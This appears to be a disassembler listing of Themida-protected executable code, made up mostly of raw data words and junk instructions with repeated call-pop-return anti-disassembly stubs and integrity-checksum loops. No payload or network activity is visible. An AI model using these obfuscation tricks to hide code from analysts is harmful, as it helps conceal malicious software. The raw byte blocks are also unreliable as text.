		dd 0A98D8920h, 50061414h, 16CB8166h, 858D5B41h,	617BE06h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9DC35040h
		dd 8A1779C6h, 0C55C7E3Ah, 0E1EF8150h, 5F7F14B0h, 0B88689h
		dd 0BD890000h, 6142449h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 8AB78EC3h
		dd 0B06E30DAh, 0FE8B66F5h, 0AA98B5FFh, 8D290617h, 6140849h
		dd 8DDB589h, 95FF0614h,	6140939h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 83C35545h, 42FA809Fh, 9607218Bh
		dd 0EE960h, 0A3050000h,	3C4F0898h, 0D0196F50h, 4452B355h
		dd 7E957h, 0D3D70000h, 7ADFAE80h, 50615948h, 0EE9h, 201B1000h
		dd 385111C3h, 3FAE2010h, 96FC30B8h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 74C35141h, 547E02C4h, 371B55C8h
		dd 698589C0h, 0FF06142Dh, 17AA98B5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0FA8B6621h
		dd 20F595FFh, 0BE90614h, 0CB000000h, 0A0F0D982h, 2348AB90h
		dd 0BD830DFFh, 6140C21h, 78840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 6456C353h, 0B92CC42Eh, 0A8FB0F25h, 1DA19D8Bh, 50960614h
		dd 9E852h, 0DC100000h, 5291B0C1h, 0E9A1D80Ah, 8, 0AE3508AEh
		dd 1188B17Ah, 0E8310F5Bh, 12h, 78947DFAh, 9C671254h, 77DB67E7h
		dd 16C32F69h, 0E3BB9733h, 5F59458Fh, 0BF50585Ah, 74ED0EE0h
		dd 0E9BD8B96h, 0FF061419h, 17AA98B5h, 0FF5F5306h, 1402B195h
		dd 0DBD8B06h, 6606140Fh, 0FF52B0BFh, 17AA98B5h,	0DF816606h
		dd 95FFD55Ch, 6143081h,	2ED19D8Bh, 0BD830614h, 61409F5h
		dd 55840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0E55DC352h,	5559D8Bh
		dd 858B0614h, 6142D01h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 7CC35242h, 959D894Bh,	0C6061404h, 85310000h
		dd 6142AC1h, 244D85C7h,	614h, 0DE80000h, 1D000000h, 0F8A325E5h
		dd 30F4982Fh, 504C078h,	10EDBD8Bh, 0E95F0614h, 0FFFFF3AFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0CDC35242h
		dd 0E3078900h, 5D8589BBh, 60061434h, 2FADB58Bh,	0EF810614h
		dd 5096908Eh, 6AC18B61h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0BF3C353h, 1299DFE3h
		dd 34D5BD89h, 858D0614h, 6140F99h, 1D75BD8Bh, 66900614h
		dd 5086ECBBh, 0F41B160h, 48Dh, 0D8B86600h, 8B906195h, 6A006AFEh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 3912C350h, 2B7DFB62h, 9DBF6671h, 6A006AA3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 78D3C357h, 0D88BEF0Dh, 858D44B7h,	618FED5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A6C35343h
		dd 0C4C2E751h, 0FE940h,	92640000h, 0AC85F146h, 0EBC85ADBh
		dd 3050D749h, 5C08344h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 93C35646h, 0D381F613h, 7751DA8h, 462EA2BFh
		dd 0F8BB5004h, 8938CE92h, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0AEE76DC3h, 0EEEFB854h
		dd 89781EABh, 141605B5h, 55BD8906h, 6A061405h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 9F714218h, 0CF3F5BEEh, 62D78166h, 6A006A8Dh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0CF6BC352h, 927C437h, 0FF7780D2h, 141A7195h,	61950906h
		dd 8D06142Eh, 17A8FC8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 39B8B6Ch, 8B44D694h, 1414D1BDh
		dd 6AD1FF06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 9DD5C351h, 1B658531h, 0BD830614h
		dd 61412CDh, 95850F01h,	0BF000000h, 416ECE56h, 8B60026Ah
		dd 140869BDh, 0F7815706h, 5D572436h, 0E8906159h, 9, 38AEA3B3h
		dd 67F3B147h, 5BF98B97h, 6E850h, 90B90000h, 0B2F4022Ah
		dd 0DE8h, 5E8D7600h, 0E771BA81h, 3EC211A2h, 5F5FE0BCh
		dd 51006A90h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 3995FF8Bh, 6A061409h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0CB6EC352h
		dd 0E4B90DCAh, 0BD29F005h, 6141D29h, 0CE4E9h, 0E800h, 815D0000h
		dd 18FEDFEDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 55F9DB3h,	1DFC1899h, 0C9BD0951h
		dd 6A061409h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 49D3C351h, 8D475F0Fh, 17962385h
		dd 9E906h, 55650000h, 97D80076h, 509AE530h, 0D3EBBB66h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 49ADC353h, 6427C051h, 35FFh, 0BD890000h
		dd 61402F1h, 258964h, 9000000h,	1402F1BDh, 0F98B6606h
		dd 236D85FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 50D0AEC3h, 900DABD3h, 0E95E2E5Eh
		dd 6, 924D0AA9h, 0FF6AFAF5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 33C35545h, 0B5FFB98Dh, 614220Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E4C35141h
		dd 0F8B25D74h, 0C9F42F84h, 80C0BF66h, 2B1995FFh, 42E90614h
		dd 0F000001h, 0B0DEB7h,	70E6FA8Ah, 0E487EB80h, 0D1858971h
		dd 906140Bh, 14347D8Dh,	0F613C06h, 12083h, 0FD98B00h, 12E8C8B6h
		dd 17000000h, 0E9BE788Eh, 0B409F102h, 78708398h, 0E7DE9D80h
		dd 5B95B7C9h, 6BAh, 0B9526000h,	5AD520BBh, 0C18B615Fh
		dd 5A19D89h, 8D0F0614h,	0
; ---------------------------------------------------------------------------
		shr	eax, 4
		jns	loc_598C60
		xor	bh, 99h


loc_598C60:				; CODE XREF: Themida_:00598C57j
		mul	dx
		and	edi, 398E6777h
		mov	ebx, [ebp+614107Dh]
		sub	ecx, eax
		mov	di, bx
		mov	edx, ecx
		mov	bh, 0E8h
		mov	ebx, [ebp+614192Dh]
		jmp	loc_598D39
; ---------------------------------------------------------------------------
		db 2Bh
		dd 141B799Dh, 118A0F06h, 0F000000h, 0B8Bh, 6E900h, 2B240000h
		dd 0B0E0F81Eh, 4C50858Bh, 0BD8B4755h, 6141B9Dh,	6007C083h
		dd 68C0Fh, 8C0F0000h, 0
; ---------------------------------------------------------------------------
		jnb	loc_598CC4
		mov	bh, ah


loc_598CC4:				; CODE XREF: Themida_:00598CBCj
		popa
		add	eax, 0
		jmp	loc_598CD7
; ---------------------------------------------------------------------------
		db 0C5h, 0F1h, 4Ah
		dd 688C385Dh
		db 0F6h, 0E3h, 0D8h
; ---------------------------------------------------------------------------


loc_598CD7:				; CODE XREF: Themida_:00598CC8j
		mov	edi, [ebp+6141C3Dh]
		cmp	edx, eax
		jnb	loc_598CF3
		mov	ebx, [ebp+61415D9h]
		jmp	loc_598D39
; ---------------------------------------------------------------------------
		mov	bx, si


loc_598CF3:				; CODE XREF: Themida_:00598CDFj
		mov	ecx, [ebp-1]
		movsx	edi, si
		and	ecx, 1
		jz	loc_598D39
		and	dword ptr [ebp-1], 0FFFFFFFEh
		push	edi
		jno	loc_598D19
		sub	edi, [ebp+6141C99h]


loc_598D19:				; CODE XREF: Themida_:00598D0Dj
		pop	edi
		mov	[ebp+47554C50h], edx
		pusha
		jns	loc_598D2D
		mov	[ebp+6140659h],	ecx


loc_598D2D:				; CODE XREF: Themida_:00598D21j
		and	esi, 943413Eh
		popa
		jmp	$+5


loc_598D39:				; CODE XREF: Themida_:00598C7Ej
					; Themida_:00598CEBj ...
		lea	esi, [ebp+6187C82h]
		push	0
		push	esi
		call	sub_598D4A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598D4A	proc near		; CODE XREF: Themida_:00598D42p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_598D4A	endp

; ---------------------------------------------------------------------------
		dw 0CE7Fh
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6140B85h]
		push	0
		push	0
		push	ecx
		call	sub_598D6F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598D6F	proc near		; CODE XREF: Themida_:00598D67p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_598D6F	endp

; ---------------------------------------------------------------------------
		wait
		rol	byte ptr [ecx],	0FFh
		xchg	eax, ebp
		imul	edx, [ecx], 9D8B0614h
		test	[ebx], edx
		adc	al, 6
		mov	[ebp+6140BB5h],	ecx
		mov	ecx, 0FDDh
		jmp	loc_598DA6
; ---------------------------------------------------------------------------
		dw 96E8h
		dd 81FDF7C8h
		db 0DFh, 97h
; ---------------------------------------------------------------------------


loc_598DA6:				; CODE XREF: Themida_:00598D99j
		and	ecx, 0FFFFFFFCh
		push	0
		push	ebx
		call	sub_598DB4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598DB4	proc near		; CODE XREF: Themida_:00598DACp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_598DB4	endp

; ---------------------------------------------------------------------------
		daa
		mov	edi, 643D9775h
		mov	[ebp+61400B5h],	ecx
		cld
		mov	edi, eax


loc_598DD3:				; CODE XREF: Themida_:00598DF4j
		mov	eax, 0
		and	edi, [ebp+6140EE1h]
		mov	edx, 0
		mov	edi, [ebp+614112Dh]
		jmp	loc_598DF6
; ---------------------------------------------------------------------------
		dw 7CA4h
		dd 3DC2B63Eh
; ---------------------------------------------------------------------------
		jnb	short loc_598DD3


loc_598DF6:				; CODE XREF: Themida_:00598DE9j
					; Themida_:00598E00j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_598DF6
		push	0
		push	edi
		call	sub_598E0D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_598E0D	proc near		; CODE XREF: Themida_:00598E05p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_598E0D	endp

; ---------------------------------------------------------------------------
		db 65h,	0DEh, 3Fh
		dd 863A02E8h, 56006AF0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8BA2E8DFh, 141495BDh, 880D06h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0E824A0C3h, 5CD9D8Bh, 958B0614h, 6143229h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 18C35242h, 0F215A2Ah
		dd 38Ah, 0DF8B6600h, 21A98D89h,	8D8B0614h, 614064Dh, 12C18529h
		dd 8B500614h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 3F5ABABBh, 0ADBD8356h, 61429h, 53840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0F224B2C3h, 0E8BA7AA1h, 13h,	2AD2FB09h, 0ABFEE5CCh
		dd 3F3AD4Eh, 0BDDD566Ch, 665F6A46h, 5B02CABFh, 0B8h, 8D1AB300h
		dd 144D798Dh, 0D9858906h, 0FF061421h, 71BD83E1h, 61426h
		dd 39F840Fh, 8D890000h,	6142C99h, 485CC8BFh, 71BD830Ch
		dd 1061426h, 3A2840Fh, 95890000h, 6141AA9h, 2671BD83h
		dd 0F030614h, 35986h, 0E8605700h, 9, 23F7845h, 253057F7h
		dd 5A505A40h, 0BF605F61h, 186FA47Ch, 8BD98C66h,	142121BDh
		dd 4E18006h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0C6C35343h, 408E2FBEh, 0BD093DE8h, 6141AC5h, 840FC90Ah
		dd 128h, 1995BD2Bh, 858B0614h, 6141969h, 2B759589h, 85330614h
		dd 6141B81h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0D1C35545h, 0BD897B2Fh,	6140E59h, 89FE8B50h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0ECD13BC3h, 0CE9F46Eh, 3D000000h, 3C1F26h, 5688406Eh
		dd 0F0FEAC1h, 686h, 0CDBD0B00h,	6A061421h, 68E0F00h, 81000000h
		dd 7935C5F7h, 6B5E6809h, 8B661BB6h, 243481DAh, 1BA968A1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DEC35646h
		dd 7D2A0D75h, 0AD95FFC4h, 6A061409h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 3679C355h
		dd 6608E914h, 3F512E1Bh, 5B5F5753h, 0AA988589h,	6A0617h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0C163A3C3h, 113154EDh, 0E9F38166h, 86E9F90Fh, 8B000001h
		dd 1410A5BDh, 0BD38006h, 0AA90858Bh, 880F0617h,	6, 4525F781h
		dd 0C7551Bh, 18h, 1DDBD89h, 0B58B0614h,	617AA94h, 1D099D8Bh
		dd 0BF0F0614h, 29858BFAh, 6A06140Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 9C29C352h
		dd 77E13E01h, 66D2949Fh, 0B589F98Bh, 6142EB5h, 8B660689h
		dd 69858BFEh, 0BF061419h, 1F3CA8Ch, 6A044689h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 9A56C353h, 0C5B3E09Dh, 0E03CBF96h, 66502B81h, 2396F88Bh
		dd 14224DBDh, 0F9B70F06h, 0AA90B5FFh, 6A0617h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 4B75E4C3h, 29F517DAh, 140F1985h, 0D28D6806h,	34813B2Ah
		dd 35D17224h, 52006A3Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 57E11EF2h, 0C80E45EAh, 8589065Fh
		dd 6142171h, 49571FBFh,	98858D55h, 6A0617AAh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 5032C356h, 89F98B66h, 8B662404h, 0AD95FFF8h,	6A061409h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 97A5C352h, 0FD928577h, 5850F52h, 0BF000000h
		dd 7F80A4E4h, 0BB66605Bh, 9D89CE54h, 61402ADh, 9D0B6161h
		dd 6140471h, 2F19BD8Bh,	85C70614h, 6142671h, 3,	7801E781h
		dd 0BD831195h, 617AA98h, 33840F00h, 89000000h, 1423B1BDh
		dd 43E906h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 965822C3h, 38C0F78h, 80000000h
		dd 305032F3h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0AB1EDC57h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0D6C35141h,	0BD83FE8Ah, 6142671h
		dd 0EF850F03h, 0BF000003h, 27E213B1h, 0AA98BD83h, 0F000617h
		dd 3DD84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 178C0F18h, 0E9000000h, 12h, 118D7B58h
		dd 0F3511AFBh, 0C48EEB87h, 4D6548Ch, 0B5FF95C3h, 617AA98h
		dd 0E299D23h, 95FF0614h, 6142AF5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 2DC35343h, 79B5896Ch, 8B061416h
		dd 17AA8CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 20C59AAEh, 43C04Dh, 0BB66496Fh, 95895462h
		dd 6140369h, 106C7h, 0F960001h,	888h, 2860F00h,	50000000h
		dd 6696505Fh, 0FF8E9ABBh, 17AA98B5h, 0C1BB6606h, 3195FF87h
		dd 6A06140Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0BCC7C351h, 0B3DCADBh,	0CBDF4545h
		dd 0AA8CB58Bh, 6A0617h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F77ABC3h, 0E88h, 0B58B6000h, 61403C5h
		dd 25659D09h, 8B610614h, 1421D585h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 863CE51Ah
		dd 5DCF7112h, 8E9112Bh,	0D7000000h, 53219F2Ah, 89BA4B15h
		dd 0C486h, 0CD9D8B00h, 8B061415h, 14322995h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0F823B354h, 83DBB70Fh, 0BF0F04C2h, 205089FBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D7C35242h, 6F989057h
		dd 0B70F1791h, 7DA5BFDAh, 858D6EC6h, 617BE06h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 16C35242h, 0F1DE1F38h
		dd 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 29BDBEC3h, 1FB59D8Bh, 6A0614h, 0AA98B5FFh
		dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 5940A5C3h, 3F5443F4h, 0FFF8F94Eh,	14093995h
		dd 96F88A06h, 245357BBh, 5250503Fh, 310F5250h, 310F585Ah
		dd 585AF98Bh, 79BD8996h, 0FF06140Eh, 17AA98B5h,	0F99D8B06h
		dd 0FF061431h, 1420F595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0F5047864h
		dd 0C21BD83h, 0F000614h, 4284h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 7C6623A1h, 0D7640560h
		dd 1549BD8Bh, 8B660614h, 7E950DAh, 3D000000h, 0E778DD73h
		dd 34898F73h, 0C99D8B24h, 0FF061402h, 17AA98B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0F8D7217Bh, 0FC8AE73h, 81h, 0B195FF00h, 6A061402h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 9DBDC357h, 35A3C79h,	899D8BC5h, 0FF061424h, 17AA98B5h
		dd 0D9BF0F06h, 68A0Fh, 85890000h, 61412C9h, 308195FFh
		dd 81660614h, 83901CCFh, 1409F5BDh, 840F0206h, 3Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0ACC35343h, 860064E0h
		dd 18D9BD09h, 858B0614h, 6142D01h, 0C60AB7h, 8E900h, 2EB20000h
		dd 8496AC0Ah, 85C7953Dh, 614244Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_59972F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59972F	proc near		; CODE XREF: Themida_:00599727p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_59972F	endp

; ---------------------------------------------------------------------------
		db 36h
		dd 81BD8Bh, 53E90614h, 6AFFFFF4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3343C356h
		dd 1242AB92h, 4EDE12B5h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0E5F8C9C3h, 0AFA4E4D2h
		dd 8161B145h, 0DE7809F3h, 99858D1Dh, 0BF06140Fh, 4110153h
		dd 68B0F90h, 60000000h,	0D78BD88Ah, 8E0F5061h, 0
		db 90h
; ---------------------------------------------------------------------------
		and	ebx, 6BBFB44Ch
		xor	ebx, [ebp+61400FDh]
		push	0
		push	0
		push	ebp
		call	sub_5997D6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5997D6	proc near		; CODE XREF: Themida_:005997CEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5997D6	endp

; ---------------------------------------------------------------------------
		push	ebp
		and	edi, [edx-2Ch]
		db	66h
		das
		mov	byte ptr [ebx+23h], 6Ah
		add	[edx+0], ch
		push	edx
		call	sub_5997FC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5997FC	proc near		; CODE XREF: Themida_:005997F4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5997FC	endp

; ---------------------------------------------------------------------------
		and	ebx, [ebx]
		cmc
		or	[eax-2D5DD126h], edx
		mov	ebx, [ebp+61431B1h]
		lea	eax, [ebp+6190DA2h]
		add	[ebp+6142E8Dh],	esi
		add	eax, 5
		push	0
		push	edi
		call	sub_599835
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599835	proc near		; CODE XREF: Themida_:0059982Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_599835	endp

; ---------------------------------------------------------------------------
		xchg	dh, al
		mov	bh, 90h
		jz	loc_599851
		mov	bl, 0BDh


loc_599851:				; CODE XREF: Themida_:00599849j
		push	eax
		mov	bx, 0E52Dh
		nop
		add	edi, [ebp+61409DDh]
		push	0
		mov	[ebp+6142A15h],	ecx
		push	0
		push	0
		push	edx
		call	sub_599872
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599872	proc near		; CODE XREF: Themida_:0059986Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_599872	endp

; ---------------------------------------------------------------------------
		fimul	word ptr [ebx+140E55BDh]
		push	es
		mov	[ebp+6141B21h],	edx
		call	dword ptr [ebp+6141A71h]
		push	0
		push	ebx
		call	sub_5998A0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5998A0	proc near		; CODE XREF: Themida_:00599898p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5998A0	endp

; ---------------------------------------------------------------------------
		ror	byte ptr [ebp+17A8FC8Dh], 1
		push	es
		push	0
		push	edx
		call	sub_5998C2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5998C2	proc near		; CODE XREF: Themida_:005998BAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5998C2	endp

; ---------------------------------------------------------------------------
		xor	bl, ah
		jmp	short loc_599923
; ---------------------------------------------------------------------------
		dw 2569h
; ---------------------------------------------------------------------------
		call	ecx
		push	0
		push	ecx
		call	sub_5998E5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5998E5	proc near		; CODE XREF: Themida_:005998DDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5998E5	endp

; ---------------------------------------------------------------------------
		adc	byte ptr [edx+edi-68h],	19h
		sti
		inc	edx
		retn	35D1h
; ---------------------------------------------------------------------------
		xor	ebx, [ebp+6140651h]
		cmp	dword ptr [ebp+61412CDh], 1
		jnz	loc_599981
		add	bh, 23h
		push	2
		push	0
		push	edi
		call	sub_599922
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599922	proc near		; CODE XREF: Themida_:0059991Ap

arg_4		= dword	ptr  8

		pop	edi


loc_599923:				; CODE XREF: Themida_:005998D4j
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_599922	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	bh, [eax+667BD445h]
		adc	ebx, 8B665025h
		dec	byte ptr [ecx+14246D8Dh]
		push	es
		nop
		push	eax
		mov	edi, 3ECB2E6h
		nop
		push	0
		push	ebp
		call	sub_599958
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599958	proc near		; CODE XREF: Themida_:00599950p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_599958	endp

; ---------------------------------------------------------------------------
		dd 2B45C976h, 6682A419h, 0FF6080BFh, 14093995h,	0C7815306h
		dd 130B3C9Eh
; ---------------------------------------------------------------------------
		pop	edi


loc_599981:				; CODE XREF: Themida_:0059990Cj
		jmp	loc_59A6BB
; ---------------------------------------------------------------------------
		dw 0E8h
		dd 5D000000h, 0DACED81h, 0BD8B0619h, 6140611h, 0B8A0Fh
		dd 6E90000h, 0B5000000h, 6BCFEFFFh, 23858DC0h, 0E9061796h
		dd 7, 20FED821h, 506B708Ch, 489D98Bh, 0CE924h, 6A8A0000h
		dd 9047214Bh, 1F8F5A8h,	95898042h, 6141D3Dh, 35FF64h, 0F000000h
		dd 8964F9B7h, 25h, 919D8B00h, 0FF061419h, 14236D85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 17C8EF3h, 142B81BDh,	0DDBD8B06h, 89061408h, 1422918Dh
		dd 6AFF6A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0CEBC355h, 0D2B14483h,	23E59D89h
		dd 0D7800614h, 0D5B5FFABh, 6A061400h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 7658C350h
		dd 0E9A9C64Dh, 10h, 0DAE26930h,	0E9B68718h, 0A5E073CAh
		dd 0C5B557A2h, 2B1995FFh, 28E90614h, 60000001h,	0A4E08166h
		dd 61C18AE8h, 9D3100B0h, 61412D9h, 7C3D29BBh, 0E970E61Ch
		dd 9, 0C7902C4Dh, 424814C7h, 0F71E4C1h,	68Eh, 0D59D0300h
		dd 3C061410h, 0EC830F61h, 60000000h, 3845B966h,	14E19D89h
		dd 0F610614h, 0E957C8B6h, 5, 0AB01F36Bh, 6BA5F8Bh, 89000000h
		dd 14258595h, 81C18B06h, 0E6958FC3h, 4E8C16Eh, 0FE2F766h
		dd 28Ah, 2BFB8B00h, 0F88B66C8h,	1B4DDB81h, 0D18B7361h
		dd 0C08160h, 0E811FDAAh, 9, 0F641BDE6h,	0C9170E1Ah, 55852914h
		dd 5E06142Eh, 81E961h, 0FE8A0000h, 4E49858Bh, 0BD034400h
		dd 61403E1h, 8307C083h,	0F9BB00C0h, 3B235EE9h, 0E830FD0h
		dd 23000000h, 1405A5BDh, 55E906h, 8B660000h, 0FF8D8BDFh
		dd 29FFFFFFh, 142AF1B5h, 1E18306h, 3D840Fh, 0DE90000h
